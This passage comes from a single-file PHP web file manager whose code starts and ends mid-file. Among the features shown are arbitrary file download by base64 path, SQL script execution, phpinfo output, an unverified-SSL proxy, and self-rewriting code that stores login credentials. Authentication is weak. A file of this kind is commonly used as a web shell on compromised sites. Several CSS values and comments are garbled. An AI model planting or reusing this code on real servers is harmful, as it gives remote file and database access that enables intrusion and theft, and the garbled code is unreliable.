	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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